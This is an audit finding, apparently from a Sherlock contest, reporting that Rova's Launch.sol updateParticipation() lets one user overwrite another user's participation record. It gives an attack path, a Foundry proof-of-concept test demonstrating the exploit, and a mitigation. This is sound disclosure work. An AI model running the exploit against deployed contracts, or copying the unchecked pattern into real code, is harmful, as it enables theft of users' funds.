Zealous Black Coyote

High

# A bad actor to update another user's participation details and cause financial loss to the user.

### Summary

The `updateParticipation()` function does not verify whether the `newLaunchParticipationId` exists, which allows a bad actor to update another user's participation details and cause financial loss to the user.

### Root Cause

https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L337
The `updateParticipation()` function allows users to update their requested token amount. If the new requested token amount is less than the old amount, the protocol will transfer payment currency from the contract to the user and then set new participation details for the user. 
```solidity
  // If new requested token amount is less than old amount, handle refund
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
            IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
        } 
.....

 // Set participation details for user
        newInfo.currencyAmount = newCurrencyAmount;
        newInfo.currency = request.currency;
        newInfo.userAddress = msg.sender;
        newInfo.userId = request.userId;
        newInfo.tokenAmount = request.tokenAmount;
        // Reset previous participation info
        prevInfo.currencyAmount = 0;
        prevInfo.tokenAmount = 0;

```

However, the protocol does not verify if the new `newLaunchParticipationId` exists. If it does not, bad actors can update any user's participation details, leading to potential financial loss for the user.
```solidity
 /// @notice Process refund for a participation
    function _processRefund(bytes32 launchGroupId, bytes32 launchParticipationId, ParticipationInfo storage info)
        private
    {
        // If participation is finalized or has no currency amount or no token amount (cancelled), revert
        if (info.isFinalized || info.currencyAmount == 0 || info.tokenAmount == 0) {
            revert InvalidRefundRequest(launchParticipationId, info.userId);
        }

        // Subtract refunded participation token amount from total tokens requested for user
        EnumerableMap.Bytes32ToUintMap storage userTokens = _userTokensByLaunchGroup[launchGroupId];
        (, uint256 userTokenAmount) = userTokens.tryGet(info.userId);
        userTokens.set(info.userId, userTokenAmount - info.tokenAmount);

```

### Internal Pre-conditions

There are some participants.

### External Pre-conditions

None

### Attack Path

1. Bob calls the function participate() to join a launch group with launchParticipationId: testLaunchParticipationId.  
2. Alice calls the function participate() to join a launch group with launchParticipationId: testLaunchParticipationId2.  
3. Bob calls the function updateParticipation() to decrease the amount with newLaunchParticipationId: testLaunchParticipationId2.  
4. The protocol updates Alice's participation details.  
5. As the currencyAmount decreases, Alice loses funds when she calls the function cancelParticipation() and claims a refund.

### Impact

The user will lose a significant amount of funds.

### PoC

Put the following POC code into the Launch.UpdateParticipation.t contract, then run forge test --match-test "test_UpdateParticipation_DecreaseAmount3" -vvv.

```solidity
    function _createParticipationRequest2() internal view returns (ParticipationRequest memory) {
        return ParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            launchParticipationId: testLaunchParticipationId2,
            userId: testUserId2,
            userAddress: user2,
            tokenAmount: 1000 * 10 ** launch.tokenDecimals(),
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
function _createUpdateParticipationRequest3(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: testLaunchParticipationId2,
            userId: testUserId,
            userAddress: user1,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }

function test_UpdateParticipation_DecreaseAmount3() public {

        originalParticipationRequest = _createParticipationRequest2();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));

        vm.startPrank(user2);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                originalParticipationRequest.launchGroupId,
                originalParticipationRequest.currency,
                originalParticipationRequest.tokenAmount
            )
        );
        launch.participate(originalParticipationRequest, signature);
        vm.stopPrank();
      
        // Prepare update participation request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest3(500);
        ParticipationInfo memory newInfo = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        assertEq(newInfo.currencyAmount, 1000*1e18);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));
        uint256 initialCurrencyBalance = currency.balanceOf(user2);

        vm.startPrank(user1);
        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);
        ParticipationInfo memory newInfo1 = launch.getParticipationInfo(updateRequest.newLaunchParticipationId);
        assertEq(newInfo1.currencyAmount, 500*1e18);
        
         vm.stopPrank();
    }


```

### Mitigation

Check whether the `newLaunchParticipationId` exists.
```solidity
    if (launchGroupParticipations[request.newLaunchParticipationId].userId != bytes32(0)) {
            revert ParticipationAlreadyExists(request.newLaunchParticipationId);
        }

```